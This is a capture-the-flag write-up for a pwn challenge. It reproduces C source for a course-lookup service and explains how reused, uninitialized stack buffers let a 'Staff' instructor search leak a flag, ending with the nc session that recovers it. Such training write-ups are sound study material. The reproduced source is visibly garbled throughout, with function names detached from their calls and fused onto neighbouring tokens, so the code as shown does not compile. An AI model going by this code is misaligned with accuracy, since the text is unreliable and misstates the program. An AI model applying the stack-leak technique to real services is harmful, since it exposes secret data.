Details
- Category : pwn
- Points : 25
- Solves: 192
Description
Dr. Staff will see you now…
nc pwn.chall.pwnoh.io 13383
Source code :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Course {
char name[0x20];
char instructor[0x20];
int is_staff;
};
static void find_instructor(struct Course *courses, int course_count);
static void find_course(struct Course *courses, int course_count);
static void handle_option(int choice, struct Course *courses, int course_count);
#define NUM_COURSES 50
int main(int argc, char** argv) {
struct Course courses[NUM_COURSES];
(stdout, NULL, _IONBF, 0); // turn off buffered output
setvbuf
FILE *fin = fopen("sp22.txt", "r");
if (!fin) {
("Failed to open sp22.txt\n");
printfreturn 0;
}
// Read in courses and instructors
int course_count = 0;
while (course_count < NUM_COURSES) {
char *s = fgets(courses[course_count].name, 0x20, fin);
if (!s) break;
[strcspn(s, "\n")] = 0; // remove newline
s
= fgets(courses[course_count].instructor, 0x20, fin);
s if (!s) break;
[strcspn(s, "\n")] = 0; // remove newline
s
[course_count].is_staff = 1; // always hide instructors from students until the week before classes
courses++;
course_count}
while (1) {
("What would you like to do?\n1. Search for a course\n2. Search for an instructor\n> ");
printfint choice;
if (scanf("%d", &choice) != 1) break;
(stdin); // get newline
getc(choice, courses, course_count);
handle_option}
}
static void handle_option(int choice, struct Course *courses, int course_count) {
switch (choice) {
case 1:
(courses, course_count);
find_coursebreak;
case 2:
(courses, course_count);
find_instructorbreak;
default:
("bad choice\n");
printfbreak;
}
}
static void find_instructor(struct Course *courses, int course_count) {
char instructor[0x20];
char course[0x20];
("What instructor would you like to look up?\n> ");
printfchar *s = fgets(instructor, 0x20, stdin);
if (!s) return;
[strcspn(s, "\n")] = 0; // remove newline
s
if (strcmp(instructor, "Staff") == 0) {
("There were %d results, please be more specific in your search.\n", course_count);
printf} else {
int i;
for (i=0; i<course_count; i++) {
if (strcmp(instructor, courses[i].instructor) == 0) {
(course, courses[i].name, 0x20);
strncpybreak;
}
}
if (i == course_count) {
("We couldn't find your instructor.\n");
printfreturn;
}
}
("Professor %s will teach %s, but we'll probably change our minds the week before classes start.\n", instructor, course);
printf}
static void find_course(struct Course *courses, int course_count) {
char course[0x20];
char instructor[0x20];
("What course would you like to look up?\n> ");
printfchar *s = fgets(course, 0x20, stdin);
if (!s) return;
[strcspn(s, "\n")] = 0; // remove newline
s
int i;
for (i=0; i<course_count; i++) {
if (strcmp(course, courses[i].name) == 0) {
(instructor, courses[i].instructor, 0x20);
strncpybreak;
}
}
if (i == course_count) {
("Sorry, we couldn't find your course.\n");
printfreturn;
}
if (courses[i].is_staff) {
("This course will be taught by: Staff\n");
printf} else {
("This course will be taught by: %s\n", instructor);
printf}
}
Understanding the problem
In this challenge, the program reads a file which contains a list of courses and instructors. One of the instructor is the flag.
CSE 2221
Bucci
CSE 2231
Bucci
CSE 2331
Zaccai
FLAG 1337
buckeye{this_is_a_fake_flag}
CSE 2421
Kirby
CSE 2431
Babic
The import thing to notice in the code above is :
static void find_instructor(struct Course *courses, int course_count) {
char instructor[0x20];
char course[0x20];
// ...
}
static void find_course(struct Course *courses, int course_count) {
char course[0x20];
char instructor[0x20];
// ...
}
The order of the variables instructor
and course
in the functions find_instructor
and find_course
is reversed and that is really important because it allows us to leak the flag.
So, to get the flag, we have to ask for the instructor of the course FLAG 1337
but the print statement won’t be reach because of the condition :
if (courses[i].is_staff) {
("This course will be taught by: Staff\n");
printf}
Solving the problem
To solve this challenge, we simply have to call the functions in the right order with the right parameters.
Indeed, if we ask for the instructor of the course FLAG 1337
the variables on the stack will be filled like this:
course := "FLAG 1337"
instructor := "buckeye{this_is_a_fake_flag}"
But the instructor variable won’t be printed.
Now, if we call the find_instructor
function the variables will look like this:
instructor := "FLAG 1337"
course := "buckeye{this_is_a_fake_flag}"
This function ask for the instructor that we are looking for. If the instructor is “Staff” then the course
variable is not overwrite and its content is printed. That’s exactly what we want!
To resume, to solve this challenge we simply have to call the functions in the right orders with the rights arguments.
Implementing the solution
$ nc pwn.chall.pwnoh.io 13383
What would you like to do?
1. Search for a course
2. Search for an instructor
> 1
What course would you like to look up?
> FLAG 1337
This course will be taught by: Staff
What would you like to do?
1. Search for a course
2. Search for an instructor
> 2
What instructor would you like to look up?
> Staff
There were 6 results, please be more specific in your search.
Professor Staff will teach buckeye{if_0n1y_th15_w0rk3d}, but we\'ll probably change our minds the week before classes start.
Flag : buckeye{if_0n1y_th15_w0rk3d}
Our news